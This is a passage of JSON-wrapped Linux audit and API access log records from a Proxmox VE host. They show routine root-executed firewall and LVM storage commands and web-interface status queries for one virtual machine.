arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055159,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.159:68234): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965232252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965232.252:64721): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.838:67134): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.236:68251): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e9410 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964444275,"@rawstring":"node=pve type=EXECVE msg=audit(1781964444.275:61032): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965271726,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964554.812:61502): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055151,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.151:68233): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965227244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965227.244:64719): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.833:67133): arch=c000003e syscall=59 success=yes exit=0 a0=5cfad639e0e0 a1=5cfad639ae60 a2=5cfad637c680 a3=5 items=2 ppid=64471 pid=64477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.219:68250): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148d80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964439376,"@rawstring":"node=pve type=EXECVE msg=audit(1781964439.376:61031): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965270502,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964549.806:61498): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055140,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.140:68232): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965227244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965227.244:64718): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.828:67132): arch=c000003e syscall=59 success=yes exit=0 a0=5cfab26f4ac8 a1=7ffd1187c7e0 a2=5cfad637c680 a3=5cfab26d824e items=2 ppid=64471 pid=64473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.225:68249): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964439361,"@rawstring":"node=pve type=EXECVE msg=audit(1781964439.361:61028): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965270502,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964549.806:61497): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055128,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.128:68231): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965227235,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965227.235:64716): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.828:67131): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd1187c7a0 a1=5cfad6383310 a2=5cfad637c680 a3=5 items=2 ppid=64471 pid=64472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.217:68246): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436111,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.111:61025): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965270502,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964549.789:61495): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966054093,"@rawstring":"node=pve type=EXECVE msg=audit(1781966054.093:68230): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965227235,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965227.235:64715): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.823:67129): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055213,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.213:68243): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436108,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.108:61024): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965268704,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964549.789:61494): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966054064,"@rawstring":"node=pve type=EXECVE msg=audit(1781966054.064:68229): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965225454,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.454:64711): arch=c000003e syscall=59 success=no exit=-2 a0=7fff864c9760 a1=5ca1fcf59b40 a2=5ca1fcf3c680 a3=5 items=1 ppid=62167 pid=62168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795816,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.816:67128): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134580 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.205:68242): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436106,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.106:61023): argc=1 a0=\"date\""} {"@timestamp":1781965268704,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964545573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.573:61490): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcf72381a0 a1=5a6f68e24310 a2=5a6f68e1d680 a3=5 items=1 ppid=59028 pid=59029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966050209,"@rawstring":"node=pve type=EXECVE msg=audit(1781966050.209:68228): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965225339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.339:64693): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd0a5ec420 a1=5f8b20df01c0 a2=5f8b20dce680 a3=5 items=1 ppid=62148 pid=62149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.807:67127): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.193:68241): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436102,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.102:61021): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965268704,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964545494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.494:61472): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe7b85bd00 a1=60c7f2067310 a2=60c7f2060680 a3=5 items=1 ppid=59009 pid=59010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966050204,"@rawstring":"node=pve type=EXECVE msg=audit(1781966050.204:68225): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965222230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965222.230:64683): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.802:67126): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.189:68240): arch=c000003e syscall=59 success=yes exit=0 a0=5ee59e0c8b20 a1=5ee59e0d4a30 a2=5ee59e0a2680 a3=5 items=2 ppid=65531 pid=65537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436096,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.096:61020): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965268704,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964544.778:61464): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046115,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.115:68222): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965222230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965222.230:64682): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.791:67125): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.184:68239): arch=c000003e syscall=59 success=yes exit=0 a0=5ee55f95eac8 a1=7ffc87190380 a2=5ee59e0a2680 a3=5ee55f94224e items=2 ppid=65531 pid=65533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436090,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.090:61019): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965266667,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964544778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964544.778:61463): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046109,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.109:68221): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965222.220:64680): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795781,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.781:67124): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12dcd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.182:68238): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc87190340 a1=5ee59e0c41c0 a2=5ee59e0a2680 a3=5 items=2 ppid=65531 pid=65532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436083,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.083:61018): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965266667,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964544.766:61461): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046109,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.109:68220): argc=1 a0=\"date\""} {"@timestamp":1781965222220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965222.220:64679): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965794339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965794.339:67123): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.176:68236): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc12fba0 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436077,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.077:61017): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965266667,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964544766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964544.766:61460): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046101,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.101:68218): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965217209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965217.209:64677): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965794324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965794.324:67120): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 